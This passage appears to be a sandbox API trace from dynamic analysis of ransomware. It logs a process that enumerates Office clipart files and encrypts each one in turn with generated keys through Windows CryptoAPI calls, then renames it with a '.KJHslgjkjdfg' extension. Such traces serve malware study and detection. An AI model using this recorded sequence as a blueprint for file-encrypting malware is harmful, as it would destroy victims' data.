lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.285] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.285] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.285] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.285] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.285] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.285] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.285] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2e7c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2e7c, lpOverlapped=0x0) returned 1 [0193.286] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2e80, dwBufLen=0x2e80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2e80) returned 1 [0193.287] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.287] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2e80, lpOverlapped=0x0) returned 1 [0193.288] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.288] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.288] SetEndOfFile (hFile=0x130) returned 1 [0193.291] GetProcessHeap () returned 0x990000 [0193.291] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.291] GetProcessHeap () returned 0x990000 [0193.291] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.291] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf.kjhslgjkjdfg")) returned 1 [0193.293] CloseHandle (hObject=0x130) returned 1 [0193.293] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0106222.WMF", cAlternateFileName="")) returned 1 [0193.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.294] GetProcessHeap () returned 0x990000 [0193.294] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.295] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.295] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.295] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.295] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.295] GetProcessHeap () returned 0x990000 [0193.295] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.295] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.295] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.295] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.297] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.298] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.298] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.298] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.298] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.298] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.298] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4c90, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4c90, lpOverlapped=0x0) returned 1 [0193.299] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4c90, dwBufLen=0x4c90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4c90) returned 1 [0193.300] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.300] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4c90, lpOverlapped=0x0) returned 1 [0193.300] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.300] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.300] SetEndOfFile (hFile=0x130) returned 1 [0193.303] GetProcessHeap () returned 0x990000 [0193.303] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.303] GetProcessHeap () returned 0x990000 [0193.303] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.303] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf.kjhslgjkjdfg")) returned 1 [0193.305] CloseHandle (hObject=0x130) returned 1 [0193.305] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x864, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0106572.WMF", cAlternateFileName="")) returned 1 [0193.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.307] GetProcessHeap () returned 0x990000 [0193.307] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.307] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.307] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.307] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0193.310] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.311] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.311] GetProcessHeap () returned 0x990000 [0193.311] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.311] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.311] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.311] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.311] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.311] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.311] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.311] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.311] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.311] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.311] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.312] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.312] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x864, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x864, lpOverlapped=0x0) returned 1 [0193.312] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x870, dwBufLen=0x870 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x870) returned 1 [0193.312] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.312] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x870, lpOverlapped=0x0) returned 1 [0193.312] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.312] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.312] SetEndOfFile (hFile=0x130) returned 1 [0193.315] GetProcessHeap () returned 0x990000 [0193.315] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.315] GetProcessHeap () returned 0x990000 [0193.315] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.315] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf.kjhslgjkjdfg")) returned 1 [0193.318] CloseHandle (hObject=0x130) returned 1 [0193.318] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0106816.WMF", cAlternateFileName="")) returned 1 [0193.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.319] GetProcessHeap () returned 0x990000 [0193.319] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.319] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.319] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.319] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0193.322] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.322] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.322] GetProcessHeap () returned 0x990000 [0193.322] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.322] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.322] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.322] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.322] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.322] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.322] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.322] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.322] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.323] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.323] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.323] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.323] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd04, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd04, lpOverlapped=0x0) returned 1 [0193.323] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd10, dwBufLen=0xd10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd10) returned 1 [0193.323] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.323] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd10, lpOverlapped=0x0) returned 1 [0193.323] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.323] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xde4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.323] SetEndOfFile (hFile=0x130) returned 1 [0193.324] GetProcessHeap () returned 0x990000 [0193.324] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.324] GetProcessHeap () returned 0x990000 [0193.324] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.324] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf.kjhslgjkjdfg")) returned 1 [0193.326] CloseHandle (hObject=0x130) returned 1 [0193.326] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0106958.WMF", cAlternateFileName="")) returned 1 [0193.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.327] GetProcessHeap () returned 0x990000 [0193.327] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.327] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.327] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.327] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.329] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.329] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.330] GetProcessHeap () returned 0x990000 [0193.330] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.330] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.330] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.330] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.330] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.330] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.330] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.330] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.330] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.330] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.330] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x35d8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x35d8, lpOverlapped=0x0) returned 1 [0193.332] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x35e0, dwBufLen=0x35e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x35e0) returned 1 [0193.332] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.332] 